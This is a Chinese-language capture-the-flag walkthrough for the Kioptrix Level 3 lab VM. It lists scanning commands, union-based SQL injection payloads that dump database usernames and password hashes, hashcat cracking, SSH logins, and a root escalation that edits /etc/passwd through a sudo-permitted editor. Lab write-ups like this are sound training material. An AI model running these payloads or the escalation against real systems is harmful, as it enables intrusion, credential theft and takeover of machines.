Kioptrix Level 3 Walkthrough

Box Info

官网在这里:Kioptrix: Level 1.2 (#3)

image-20250411115248512

The Hack

确定存活的主机

nmap -sP 192.168.186.0/24

image-20250411100915222

对目标 IP 进行端口发现

nmap -p- 192.168.186.150

发现开放 22,80 端口

image-20250411100945596

对开放的端口进行应用版本发现

nmap -p 22,80 -A 192.168.186.150

22 端口开放 SSH 服务,80 端口开放 HTTP 服务

image-20250411101054246

先来看 22 端口 SSH 服务,看看对应版本有无可直接利用的漏洞

searchsploit openssh 4.7

展示没有发现什么可利用的

image-20250411101243184

再来看 80 端口,进行目录扫描

dirsearch -u http://192.168.186.150

image-20250411101722248

/gallery 目录似乎加载不完全

image-20250411120940082

查看源代码后发现,/gallery 目录中的链接指向的是 Kioptrix3.com

image-20250411121057034

将该域名与 IP 绑定

vim /etc/hosts

image-20250411102117016

再次访问,发现排序图片的站点

image-20250411102228103

使用任意一种排序,发现 url 中存在 id 参数可能有 sql 注入

image-20250411102419344

更改 id 参数

id=1'" --+&sort=photoid#photos

触发 sql 报错,存在 sql 注入,且依据报错判断,是数字型注入

image-20250411102602763

使用 order by 判断列数

id=1 order by 6 --+&sort=photoid#photos
id=1 order by 7 --+&sort=photoid#photos

最终判断为 6 列

image-20250411103148390

image-20250411103207913

判断回显点

id=-1 union select 1,2,3,4,5,6 --+&sort=photoid#photos

回显点为 2,3

image-20250411103316163

读取数据库名称和用户

id=-1 union select 1,user(),database(),4,5,6 --+&sort=photoid#photos

数据库名为 gallery ,用户为 mysql 管理员

image-20250411103754320

读取数据表

id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='gallery' --+&sort=photoid#photos 3

发现用户数据表 gallarific_users 和 dev_accounts

image-20250411104003162

读取用户数据表字段名

id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users' --+&sort=photoid#photos 3
id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='dev_accounts' --+&sort=photoid#photos 3

发现 username 和 password

image-20250411104241854

image-20250411104915106

读取 username 和 password

id=-1 union select 1,username,password,4,5,6 from gallarific_users --+&sort=photoid#photos 3
id=-1 union select 1,username,password,4,5,6 from dev_accounts --+&sort=photoid#photos 3

用户名密码为 admin/n0t7t1k4

image-20250411104444248

用户名密码为 dreg/0d3eccfb887aabd50f243b3f155c0f85 和 loneferret/5badcaf789d3d1d09794d8f021f40f0e

image-20250411105017857

经过尝试,第一个账号密码似乎是 MySQL 账号密码,SSH ,后台,phpmyadmin 均不能能登陆

尝试使用字典模式破解 md5 加密

hashcat -m 0 0d3eccfb887aabd50f243b3f155c0f85 /usr/share/wordlists/rockyou.txt
hashcat -m 0 5badcaf789d3d1d09794d8f021f40f0e /usr/share/wordlists/rockyou.txt

破解出来为

dreg/Mast3r

image-20250411110138560

loneferret/starwars

image-20250411110245557

尝试使用 SSH 登陆,两者均成功

ssh -o HostKeyAlgorithms=+ssh-rsa dreg@192.168.186.150

image-20250411113940331

ssh -o HostKeyAlgorithms=+ssh-rsa loneferret@192.168.186.150

image-20250411113902901

发现 dreg 不能执行 sudo -l 命令而 loneferret 可以,且可以不用密码执行 sudo ht

image-20250411114146183

运行 ht ,报错

loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.

使用 export TERM=xterm 解决

image-20250411114359115

发现是一个编辑器,既然已 root 身份运行,直接更改 /etc/passwd 中 root 密码即可

image-20250411114452231

生成已知的密码哈希(123)

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 123
$1$/l/LdaOy$E0kBkOBauSctDWdECVk9r.

f3 选择打开 /etc/passwd

image-20250411114604572

替换 root 密码

image-20250411114643634

f2 保存 f10 退出后,直接使用 su 切换为 root 身份

image-20250411114820430

读取 Congrats.txt

image-20250411114915906